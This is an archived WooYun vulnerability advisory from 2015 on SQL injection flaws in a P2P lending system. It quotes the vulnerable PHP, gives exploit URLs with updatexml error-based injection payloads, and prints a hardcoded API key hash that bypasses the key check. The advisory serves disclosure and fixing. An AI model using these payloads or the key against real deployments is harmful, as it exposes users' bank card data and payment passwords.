当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(11) 关注此漏洞

缺陷编号: WooYun-2015-137155

漏洞标题: 金钱柜p2p系统3个SQL注入打包

相关厂商: 山东金钱柜网络科技有限公司

漏洞作者: 牛肉包子

提交时间: 2015-08-28 14:41

公开时间: 2015-11-27 09:10

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 安全意识不足 安全意识不足

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-28: 细节已通知厂商并且等待厂商处理中
2015-08-29: 厂商已经确认,细节仅向厂商公开
2015-09-01: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-10-23: 细节向核心白帽子及相关领域专家公开
2015-11-02: 细节向普通白帽子公开
2015-11-12: 细节向实习白帽子公开
2015-11-27: 细节向公众公开

简要描述:

不刷洞

详细说明:

注入1

看到modules/borrow/borrow.inc.php

code 区域
elseif ($_U['query_type'] == "add_care"){

$data['user_id'] = $_G['user_id'];
$data["article_id"] = $_REQUEST['article_id'];
$data["code"] = $_REQUEST['code'];
$result = usersClass::AddCare($data);
if ($result == -2){
$msg = array("你已经关注了此标,不能重复操作");
}elseif ($result==-1){
$msg = array("你的操作有误,请不要乱操作");
}else{
$msg = array("加入关注成功","","/watchlist/index.html");

}
}

//黑名单添加
elseif ($_U['query_type'] == "add_black"){

$data['user_id'] = $_G['user_id'];
$data["blackuser"] = $_REQUEST['user_id'];
$data["code"] = borrow;
$result = usersClass::AddBlack($data);
if ($result == -2){
$msg = array("你已经将其加入了黑名单,不能重复操作");
}elseif ($result==-1){
$msg = array("你的操作有误,请不要乱操作");
}else{
$msg = array("加入黑名单成功","","/watchlist/index.html");

}
}



分别跟进AddCare AddBlack 这两个函数。

code 区域
function AddCare($data) {
global $mysql;
$caresql = "select * from `{users_care}` where article_id={$data['article_id']} and user_id={$data['user_id']}";
$care = $mysql->db_fetch_array($caresql);
if ($care == false) {
$sql = "insert into `{users_care}` set addtime='" . time() . "',addip='" . ip_address() . "'";
foreach ($data as $key => $value) {
$sql .= ",`$key` = '$value'";
}
$mysql->db_query($sql);
} else {
return -2;
}
}

function AddBlack($data) {
global $mysql;
$result = $mysql->db_fetch_arrays("select * from `{users_black}` where user_id = {$data['user_id']} and blackuser = {$data['blackuser']}");
if ($result)
return -2;
$sql = "insert into `{users_black}` set addtime='" . time() . "',addip='" . ip_address() . "'";
foreach ($data as $key => $value) {
$sql .= ",`$key` = '$value'";
}
$mysql->db_query($sql);
}



明显两处注入

构造exp

code 区域
http://**.**.**.**/?user&q=code/borrow/add_care&article_id=updatexml(1,concat(0x5c,user()),1)#
http://**.**.**.**/?user&q=code/borrow/add_black&user_id=updatexml(1,concat(0x5c,user()),1)#





注入2

comment/comment.inc.php

code 区域
elseif ($_U['query_type'] == "del"){
$data['id'] = $_POST['id'];
$result=commentClass::Delete($data);
if($result>0){
echo true;
}else{
echo false;
}
}



code 区域
*/
public static function Delete($data = array()){
global $mysql;
$id = $data['id'];
if (!is_array($id)){
$id = array($id);
}
$sql = "delete from {comment} where id in (".join(",",$id).")";
return $mysql->db_query($sql);
}





构造

code 区域
http://**.**.**.**/?user&q=code/comment/del



然后post id=updatexml(1,concat(0x5c,user()),1)#





然后注入3

code 区域
elseif ($_U['query_type'] == "GetInvestmentList") { //标列表信息
$key = $_REQUEST['key'];
checkKey($key); //验证商户ID

$data['start'] = $_REQUEST['start'];//起始数据 #注入 在limit后面的注入
$data['end'] = $_REQUEST['end'];//结束数据

$result = usersClass::GetEndBorrowlist($data);

if ($result == false) {
$get_info_state = false;
echo $get_info_state;
} else {
$get_info_state = json_encode($result);
echo $get_info_state;
exit;
}
} elseif ($_U['query_type'] == "GetRecord") { //标详细信息
// $key = $_REQUEST['key'];
// checkKey($key); //验证商户ID
$data['borrow_nid'] = $_REQUEST['borrow_nid']; #注入
$result = usersClass::GetRecord($data);
if ($result == false) {
$get_info_state = false;
echo $get_info_state;
exit;
} else {

$get_info_state = stripslashes(json_encode($result));
echo $get_info_state;
exit;
}
} elseif ($_U['query_type'] == "Buy") { //购买标功能
$key = $_REQUEST['key'];
checkKey($key); //验证商户ID
$data['user_id'] = $_REQUEST['user_id']; //用户id 注入
$data['paypassword'] = $_REQUEST['paypassword']; //支付密码
$data['borrow_nid'] = $_REQUEST['borrow_nid'];//标id
$data['money'] = $_REQUEST['money']; //支付金额
$data['dxbPWD'] = $_REQUEST['dxbPWD'] ? $_REQUEST['dxbPWD'] :''; //定向标密码
$data['flow_count'] = $_REQUEST['flow_count'];
$user_result = usersClass::GetUserBorrow($data);

} elseif ($_U['query_type'] == "showKey") {
echo md5(md5('jqg0402jqg'));
} //用户投标中的借款
elseif ($_U['query_type'] == "GetTenderBorrowList_tendering") {
$userId = $_REQUEST['user_id']; //用户ID //注入
$key = $_REQUEST['key'];
checkKey($key); //检测来源是否合法
// $userId = 252;
$data['user_id'] = $userId;
$data['type'] = "";
$data['keywords'] = '';
$data['dotime1'] = '';
$data['dotime2'] = '';
$data['tender_status'] = "0";
$data['borrow_status'] = "1";
$page = $_REQUEST['page'];
$data['page'] = $page ? $page : 1;
$data['showpage'] = "3";
$tenderBorrowList = borrowClass::GetTenderBorrowList($data);
$return['list'] = array();
foreach ($tenderBorrowList['list'] as $k => $v) {
$a['borrow_username'] = $v['borrow_username']; //借款人
$a['title'] = $v['name']; //借款标题
$a['borrow_apr'] = $v['borrow_apr']; //借款年利率
if ($v['borrow_period'] < 1) {
$day = $v['borrow_period'] / 0.03;
$day = floor($day) . '天';
} else {
$day = intval($v['borrow_period']) . '个月';
}
$a['borrow_period'] = $day; //借款期限
$a['tender_account'] = $v['tender_account']; //投资金额
$a['borrow_account_scale'] = $v['borrow_account_scale']; //进度
$return['list'][] = $a;
unset($a);
}
$return['get_record_state'] = true;
echo json_encode($return);
exit;
} //用户回收中的借款
elseif ($_U['query_type'] == "GetTenderBorrowList_recycling") {
$userId = $_REQUEST['user_id']; //用户ID //注入
$key = $_REQUEST['key'];
checkKey($key); //检测来源是否合法
// $userId = 252;
$data['user_id'] = $userId;
$data['type'] = "wait";
$data['keywords'] = '';
$data['dotime1'] = '';
$data['dotime2'] = '';
$data['tender_status'] = "1";
$page = $_REQUEST['page'];
$data['page'] = $page ? $page : 1;
$data['showpage'] = "3";
$tenderBorrowList = borrowClass::GetTenderBorrowList($data);
$return['list'] = array();
foreach ($tenderBorrowList['list'] as $k => $v) {
$a['borrow_username'] = $v['borrow_username']; //借款人
$a['title'] = $v['name']; //借款标题
$a['borrow_apr'] = $v['borrow_apr']; //借款年利率
if ($v['borrow_period'] < 1) {
$day = $v['borrow_period'] / 0.03;
$day = floor($day) . '天';
} else {
$day = intval($v['borrow_period']) . '个月';
}
$a['borrow_period'] = $day; //借款期限
$a['tender_account'] = $v['tender_account']; //投资金额
$a['borrow_account_scale'] = $v['borrow_account_scale']; //进度
$a['recover_account_yes'] = $v['recover_account_yes']; //已收本息
$return['list'][] = $a;
unset($a);
}
$return['get_record_state'] = true;
echo json_encode($return);
exit;
} //用户未收款明细账
elseif ($_U['query_type'] == "GetRecoverList_norepay") {
$userId = $_REQUEST['user_id']; //用户ID //注入
$key = $_REQUEST['key'];
checkKey($key); //检测来源是否合法
// $userId = 252;
$data['user_id'] = $userId;
$data['type'] = "wait";
$data['keywords'] = '';
$data['dotime1'] = '';
$data['dotime2'] = '';
$data['tender_status'] = "1";
$data['borrow_status'] = "3";
$data['order'] = 'repay_time';
$page = $_REQUEST['page'];
$data['page'] = $page ? $page : 1;
$data['epage'] = "10";
$data['showpage'] = "3";
$recoverList = borrowClass::GetRecoverList($data);
$return['list'] = array();
foreach ($recoverList['list'] as $k => $v) {
$a['title'] = $v['borrow_name']; //借款标题
$a['recover_time'] = $v['recover_time']; //应收日期
$a['borrow_username'] = $v['borrow_username']; //借款人
$a['borrow_stage'] = intval($v['recover_period'] + 1) . '/' . intval($v['borrow_period']); //第几期/总期数
$a['all_recover'] = $v['all_recover']; //应收总额
$a['recover_capital'] = $v['recover_capital']; //应收本金
$a['recover_interest'] = $v['recover_interest']; //应收利息
$a['late_interest'] = $v['late_interest']; //逾期罚息
$a['late_days'] = $v['late_days']; //逾期天数
if ($v['recover_web'] == 1) {
$a['status'] = '网站垫付'; //状态
} else if ($v['recover_status'] == 1) {
$a['status'] = '已还'; //状态
} else {
$a['status'] = '未还'; //状态
}
$return['list'][] = $a;
unset($a);
}
$return['get_record_state'] = true;
echo json_encode($return);
exit;
} //用户借出明细账
elseif ($_U['query_type'] == "GetTenderList") {
$userId = $_REQUEST['user_id']; //用户ID //注入
$key = $_REQUEST['key'];
// checkKey($key); //检测来源是否合法
$userId = 252;
$data['user_id'] = $userId;
$data['type'] = "wait";
$data['keywords'] = '';
$data['dotime1'] = '';
$data['dotime2'] = '';
$data['status'] = "1";
$data['page'] = 0;
$data['showpage'] = "3";
$tenderList = borrowClass::GetTenderList($data);
$return['list'] = array();
foreach ($tenderList['list'] as $k => $v) {
$a['title'] = $v['borrow_name']; //借款标题
$a['account'] = $v['account']; //借款总额
$a['borrow_username'] = $v['borrow_username']; //借款人
$a['recover_account_all'] = $v['recover_account_all']; //收益总额
if ($v['change_status'] == 1) {
$a['recover_account'] = $v['recover_account_yes_all']; //已收总额
} else {
$a['recover_account'] = $v['recover_account_yes']; //已收总额
}
if ($v['change_status'] == 1) {
$a['recover_account_wait'] = 0; //待收总额
} else {
$a['recover_account_wait'] = $v['recover_account_wait']; //待收总额
}

if ($v['change_status'] == 1) {
$a['recover_interest_yes'] = $v['recover_interest_yes_all']; //已收利息
} else {
$a['recover_interest_yes'] = $v['recover_account_interest_yes']; //已收利息
}

if ($v['change_status'] == 1) {
$a['recover_account_interest_wait'] = 0; //待收利息
} else {
$a['recover_account_interest_wait'] = $v['recover_account_interest_wait']; //待收利息
}

if ($v['change_status'] == 1) {
$a['recover_account_interest_wait'] = 0; //待收利息
} else {
$a['recover_account_interest_wait'] = $v['recover_account_interest_wait']; //待收利息
}

if ($v['change_status'] == 1) {
$a['tender_stages'] = intval($v['count_all']) . '/' . intval($v['borrow_period']); //已还期数/总期数
} else {
$a['tender_stages'] = intval($v['repay_num']) . '/' . intval($v['borrow_period']); //已还期数/总期数
}

$return['list'][] = $a;
unset($a);
}
$return['get_record_state'] = true;
echo json_encode($return);
exit;
} //修改支付密码
elseif ($_U['query_type'] == "changePayPwd") {
checkUserId();
$userId = $_REQUEST['user_id']; //用户ID //注入
$key = $_REQUEST['key'];
// checkKey($key); //检测来源是否合法

$getUserInfoSql = "select * from `{users}` where user_id=" . $userId;
global $mysql;
$userInfo = $mysql->db_fetch_array($getUserInfoSql);
$oldpassword = $_REQUEST['oldpassword']; //旧支付密码
$newpassword = $_REQUEST['newpassword']; //新支付密码
$newpassword1 = $_REQUEST['newpassword1']; //确认新支付密码
if (md5($oldpassword) != $userInfo['paypassword'] || $userInfo['paypassword'] == '') {
$return['info'] = "密码不正确,请输入您的旧交易密码";
$return['get_record_state'] = false;
echo json_encode($return);
exit;
}
if ($newpassword1 != $newpassword || $newpassword == '' || $newpassword1 == '') {
$return['info'] = "两次密码输入不一致";
$return['get_record_state'] = false;
echo json_encode($return);
exit;
}
$data['user_id'] = $userId;
$data['paypassword'] = $newpassword;
$result = usersClass::UpdatePayPassword($data);
if ($result > 0) {
$return['info'] = "交易密码修改成功";
$return['get_record_state'] = false;
echo json_encode($return);
exit;
} else {
$return['info'] = "交易密码修改失败";
$return['get_record_state'] = false;
echo json_encode($return);
exit;
}

} //用户绑定银行卡
elseif ($_U['query_type'] == "getCardInfo") {
// checkUserId(); //检测是否存在用户ID
// $key = $_REQUEST['key'];
// checkKey($key); //检测商户key是否正确
$userId = $_REQUEST['user_id']; //注入
$userInfo = usersClass::GetUsersInfo(array('user_id' => $userId));
if ($userInfo['realname_status'] != 1) { //没有通过实名认证
$return['get_record_state'] = false;
$return['info'] = '您好,您还没有通过实名认证';
echo json_encode($return);
exit;
}
// $userId = 252;
$getUserCardInfoSql = 'SELECT aub.account,aub.branch ,ab.name AS bank_name,ap.name as province,a.name AS city from jqg_account_users_bank aub LEFT JOIN jqg_account_bank ab ON aub.bank=ab.id LEFT JOIN jqg_areas a ON aub.city=a.id LEFT JOIN jqg_areas ap ON aub.province=ap.id WHERE aub.user_id= ' . $userId;
global $mysql;
$userCartInfo = $mysql->db_fetch_array($getUserCardInfoSql);
if ($userCartInfo['account'] == '') {
$return['get_record_state'] = false;
$return['info'] = '您好,您还没有绑定银行卡';
echo json_encode($return);
exit;
}
$return['real_name'] = $userInfo['realname']; //真实姓名
$return['account'] = $userCartInfo['account']; //银行卡号
$return['branch'] = $userCartInfo['branch']; //开户行名称
$return['bank_name'] = $userCartInfo['bank_name']; //开户行
$return['province'] = $userCartInfo['province']; //开户行省
$return['city'] = $userCartInfo['city']; //开户行城市
$return['get_record_state'] = true;
echo json_encode($return);
exit;
} //用户添加银行卡信息
elseif ($_U['query_type'] == "bindCard") {
checkUserId(); //检测是否存在用户ID
$key = $_REQUEST['key'];
checkKey($key); //检测商户key是否正确
$userId = $_REQUEST['user_id']; //注入
$checkUserCardSql = 'select id from `{account_users_bank}` WHERE user_id = ' . $userId;
global $mysql;
$result = $mysql->db_fetch_array($checkUserCardSql);
if ($result) {
$return['get_record_state'] = false;
$return['info'] = '您已经绑定银行卡,请勿重复操作';
echo json_encode($return);
exit;
}
$data['bank'] = $_REQUEST['bank']; //所属银行
$data['province'] = $_REQUEST['province']; //开户行所在省
$data['city'] = $_REQUEST['city']; //开户行所在城市
$data['branch'] = $_REQUEST['branch']; //开户行名称
$data['account'] = $_REQUEST['account']; //银行卡帐号
$data['user_id'] = $userId;
$inResult = accountClass::UpdateUsersBank($data);
if ($inResult > 0) {
$return['get_record_state'] = true;
$return['info'] = '银行卡信息添加成功';
echo json_encode($return);
exit;
} else {
$return['get_record_state'] = false;
$return['info'] = '银行卡信息添加失败';
echo json_encode($return);
exit;
}
}



其中有个验证

code 区域
checkKey($key); //验证商户ID





我们跟进去

code 区域
function checkKey($key)
{
$baseKey = 'jqg'; //安全码
$companyKey = 'jqg0402'; //商户安全码
if (!($key == md5(md5($companyKey . $baseKey)))) {
$return['get_record_state'] = false;
$result['info'] = '非法请求';
echo json_encode($result);
exit;
}
}



就是两次md5

或者这样也可以获取key

code 区域
} elseif ($_U['query_type'] == "showKey") {
echo md5(md5('jqg0402jqg'));
}





然后构造exp

code 区域
http://**.**.**.**/?user&q=code/api/GetTenderBorrowList_tendering&key=b63674c7b36d67f3fe6066e40a6901f6
http://**.**.**.**/?user&q=code/api/GetTenderBorrowList_recycling&key=b63674c7b36d67f3fe6066e40a6901f6
http://**.**.**.**/?user&q=code/api/GetRecoverList_norepay&key=b63674c7b36d67f3fe6066e40a6901f6
http://**.**.**.**/?user&q=code/api/changePayPwd&key=b63674c7b36d67f3fe6066e40a6901f6
http://**.**.**.**/?user&q=code/api/getCardInfo&key=b63674c7b36d67f3fe6066e40a6901f6
http://**.**.**.**/?user&q=code/api/bindCard&key=b63674c7b36d67f3fe6066e40a6901f6





其中user_id都可以注入



code 区域
http://**.**.**.**/?user&q=code/api/GetInvestmentList&key=b63674c7b36d67f3fe6066e40a6901f6





这个为limit后面的注入start和end都可以注入



code 区域
http://**.**.**.**/?user&q=code/api/GetRecord



这个是borrow_id注入





具体看漏洞证明。

漏洞证明:

1.jpg



2.jpg



4.jpg



3.jpg



5.jpg



6.jpg



7.jpg



8.jpg



9.jpg



10.jpg

修复方案:

全部都转义

版权声明:转载请注明来源 牛肉包子@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-08-29 09:08

厂商回复:

谢谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-08-28 14:51 | 岛云首席鉴黄师 ( 普通白帽子 | Rank:467 漏洞数:127 | icisaw.cn 超低价虚拟主机VPS 购买返现 支...)
    0

    坐等$···

  2. 2015-08-28 16:43 | xwroot ( 路人 | Rank:8 漏洞数:3 | --Life Is Strange)
    0

    ¥坐等

  3. 2015-09-11 17:13 | 康小泡 ( 路人 | Rank:0 漏洞数:1 | 掉个offer给我吧)
    0

    坐等$

  4. 2015-11-27 09:48 | Stardustsky ( 路人 | Rank:4 漏洞数:3 | ……)
    0

    Rank:1

  5. 2015-11-27 10:02 | 心云 ( 普通白帽子 | Rank:354 漏洞数:89 | 有追求,才会有提高!尽快达到下一个目标!)
    0

    1 rank..............

登录后才能发表评论,请先 登录